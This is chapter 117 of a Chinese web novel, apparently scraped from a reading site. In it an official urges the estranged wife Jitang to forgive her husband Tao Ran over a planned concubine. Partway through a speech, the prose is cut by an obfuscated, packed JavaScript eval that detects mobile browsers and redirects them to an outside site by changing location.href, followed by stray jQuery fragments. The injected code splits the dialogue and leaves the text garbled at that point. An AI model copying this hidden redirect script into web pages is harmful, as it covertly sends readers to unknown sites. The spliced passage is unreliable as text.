117.剖心·一针见血

作品:《风前絮

    他怔怔地转身离开,严忍冬在身后叫道:“陶然!我最后给你一次机会,你给我想清楚,到底要站在哪一边!”


    陶然停住脚步。


    严忍冬道:“人不可能既要又要,江山,美人,你选一个。”


    他回头,淡淡笑道:“我说了,江山你要,便拿去好了。”


    严忍冬闻言,广袖下的拳头又握紧了。


    陶然愣愣走出宫门。


    他彻底看清楚了,人生于世,什么是重要的,什么是虚无的。


    一夜之间,鸡飞蛋打。


    一夜之间,斗转星移。


    命运就是这般可笑,京城,皇宫,这个他曾经企图实现自己的理想,搅弄风云的地方,此刻他只想离开。


    他终于懂得了静堂的江南之梦,以失去她为代价。


    身后的严忍冬亦是不明白,为何自己拼命渴求的一切最终都得不到?


    静言也好,陶然也好,自己真心在意的人,都那样的厌恶自己,哪怕他放下尊严,舔着个脸,他们仍然对自己不屑一顾。


    他们有自己的世界,真心只分给彼此,严忍冬融不进去,挤不进去,像个跳梁小丑一般被人蔑视。


    从生身父亲到现在,他失无所失。


    只有权力,像一个可怜他的狗,欢快地誓死追随。


    一家会馆里,钟睿林终究是找到了静堂。


    他先是去了陶府,问清楚情况,又几经辗转,终于在二不黄昏之际才到了这里。


    他与陶然相识许久,从未见过他的夫人,此刻他递出陶然的私章,换取了静堂的片刻信任。


    她面色苍白,淡淡问道:“你是谁?什么事?”


    他行礼:“礼部右侍郎钟睿林,夫人可认识我?”


    “认识,”她直言不讳,“钟大人请坐吧。”


    他坐下来,右臂搭放在桌沿,低头沉吟,一时不知该如何开口。


    原是他自己找了来,不是陶然所托,今晨那般情状,那封密信,想也知道出了什么事。


    静堂也不说话,等着他开口,思绪不自觉飘远了。


    两人各自沉默了一阵,他终于开口道:


    “陶夫人,陶兄今天......一整日没去总局入职。”


    “那这私章是你偷来的?”她问。


    “不不不不不,”钟睿林一时慌了神,不知道该怎么解释,又怕把事情越弄越乱,只道:“对了,给你看样东西。”


    他把两份密信取出来,向静堂分辨哪份是真,哪份是假。


    言而总之,总而言之,就是政敌设计,陶然被骗了。


    她静静听罢,问道:“所以呢?”


    钟睿林叹道:“夫人,我十分明白你的心情,但人无完人,难免有行差踏错的时候。陶兄压力真的很大,朝中处处梗阻,一时被迷了心智也是有的。”


    他见静堂不说话,又道:“今日我去别院找他,亲眼看着他哭得死去活来,夫人,我知道你们感情甚笃,既然如此,又为何要相互折磨,徒留遗憾呢?”


    “你跟我说这些是什么意思?我不能容他纳妾,动摇了你们陶大人的心神,叫他不能专心推行新政,总局乱了,所以来找我妥协,是吗?”


    “不不不不不,我全然没有这个意思。”


    他觉得这个女人实在厉害,自己万般不是对手,只道:“我不是以田改总局的名义来找你的,只是作为他的朋友,实在不忍看他这样,夫人万勿多心。陶兄后悔了,真的后悔了,他说要来找你,他说.....”


    话还没说完,就撞上了她没有温度的眼神。


    不是冰冷,是疏离,仿佛这件事情根本不是发生在自己身上,说要纳妾的也不是自己的丈夫。


    隔山观虎斗,云端看烈杀,和自己一点关系也没有。


    静堂指尖玩弄着陶然的私章,突然笑道:“钟大人许是还没成过亲吧?”


    “没有,”他有些心虚,愣愣答道。


    “这就难怪了,”她笑,“没成过亲,自然对其中门道不太清楚。钟大人,让我用一个你熟悉的例子告诉你,好吗?”


    “好。”


    静堂突然用手拂了下脸,叹道:“怎么说呢?就好比你们推行新政吧,如果朝中众臣上下一心,铁板一块,纵是乡绅四起,百姓不明,但新政到底可以推行下去。”


    “怕就怕,众人各自有各自的利弊,每个人都只顾虑自己能得到什么,如何做才算有利,把别人当棋子,视大势而不见,乱自内出,所以才分崩离析。”


    他觉得此话说得很有道理,只是不知她为何用此举例,便懵然问道:“所以呢?”


    “所以,两个人的关系也是如此,乱自内出。纳妾,政斗,无奈,妥协,这些都不是根本。”


    钟睿林点头。


    “如果陶然发自内心的尊重我,真的把我当作一个人看,这份密信根本不会传到我的手上。既然我看见了,他决定了,用最小又离谱的代价去挽救他所谓的天下,不正是意味着,他本来就认为婚姻是可交易的政治筹码?钟大人,这和他被不被骗,有什么关系?”


    钟睿林怔住,无言以对。


    他重新认真去打量季静堂,苍白,瘦弱,坚韧,清冷。


    这是个清醒睿智到难以被欺骗,被愚弄的女人,尽管他自己对婚姻也一知半解,尽管他只是凭着自己认为正确的道理去劝她。


    他没打算愚弄她,可她却让自己觉得,自己就是在愚弄她。


    钟睿林点头,沉默了一阵。


    但他不能放弃。陶然已呈自弃之意,他完蛋,田改总局必定完蛋。


    总局完蛋则天下完蛋。


    半晌后,他突然又道:“可是夫人,如果陶兄不是真心尊重你,不是真心把你当一个人看,他又怎会一接到这个消息,就巴巴地跑去给你看呢?”


    “夫人想过没有,陶兄执掌天下大权,若他有心,完全能够不让你知道,悄悄纳了那个莫须有的妾,或是把她扔在别的地方,这不是什么难事。”


    “你还在替他开罪?”


    “不是,”钟睿林急道,“我的意思是,正如我不懂乱自内出,或许陶兄他也不懂。他只是秉持着一个错误的想法,在这个错念上真诚地待你,这并不意味着这个错


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16380725|175866||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    念不可更正啊。”


    静堂闻言,陷入了沉思。


    “夫人,你我不过一面之缘,你说与我听,我即刻便懂了。陶兄与你夫妻一场,智识学问又都在我之上,你把这些话告诉他,我不相信他听不懂。”


    静堂不语,玩弄私章的指尖停住了。


    “夫人,我告诉你这些,是因为我打心底里敬重他,是真心把他当作知交,认作好友,不想看他痛苦至此,你们夫妻零散。今日我见了夫人,自知夫人高洁,和陶兄一样值得我敬重。他昨日笨拙地跑去找你,今日痛哭不理政事,不正是意味着他对你的心何其真诚?在这世上,何曾有完美之物,有什么东西比真心更重要呢?”


    钟睿林见静堂不语,似是有所松动,赶忙站起身来,郑重行礼道:


    “还请夫人念在过往,给陶兄一次改错的机会,不要让彼此生分遗憾啊。”


    陶然是不懂吗?还是懂了仍然要伤害?


    静堂不语,默默在心里揣摩着这个尺度。


    陶府中,陶父陶母又揪着陶然问昨夜究竟是怎么回事,儿子的态度和静堂一样,沉默着,什么都不说。


    “哎哟,”陶父一拍额头,“我真是搞不懂你们这些年轻人在想什么?日子过得好好的,突然就闹起来,说走就走,连句话都不留。”


    陶母补充道:“还是留了一句的。”


    “什么!”陶父气问。


    “说......”她有些紧张地看看儿子,“她说今生相识一场,缘分到头了。”


    陶然原本亮起的眼光瞬时又暗了下去,他心凉如寒渊,不再理父母,独自回房去了。


    屋内,所有的陈饰仍如她在时一般。壁橱里还满满列着两人爱看的书,桌案上,笔墨纸砚都列齐放好。


    湘妃色的软烟罗,黄色的腊梅绽出清香,陶然睹物思人,缓缓走着,打开衣柜,里面却空空荡荡。


    她真的走了。


    直到这一刻,他才真的意识到,她真的走了。


    她走了,不再回来,除了衣服、季眠和银票,她什么都没有带走。


    她是个聪明女人,自是不会意气用事,饿着困着自己。但也就意味着她的离开并非意气用事,而是深思熟虑。


    一个意气用事之人或许等她冷静之后还有回环,但季静堂这样的人不是。


    她想得清楚,看得明白。


    正如昨夜所言,一次妥协便会万般献祭,现在是纳妾,今后或许还有更严重的。


    献出自己,献出孩子,献出灵魂,献出尊严,这样亏本的买卖,这等万丈深渊,愚蠢的决定,她绝对是逃得远远的。


    陶然坐下来,有些慌了心神,他该怎样让她知道自己已经变了呢?


    他困极无思,睡了过去,心里却还有一个淡淡的声音道:


    “要找到她,找到她......贵妃娘娘还困在宫里。”


    他逃避着直面她的情景,用这种蹩脚又真实的理由为自己开脱。


    宫中,凤仪殿空无一人,季静言已被严忍冬转移到了冷宫。


    深夜里,严家府邸的大门被重新打开。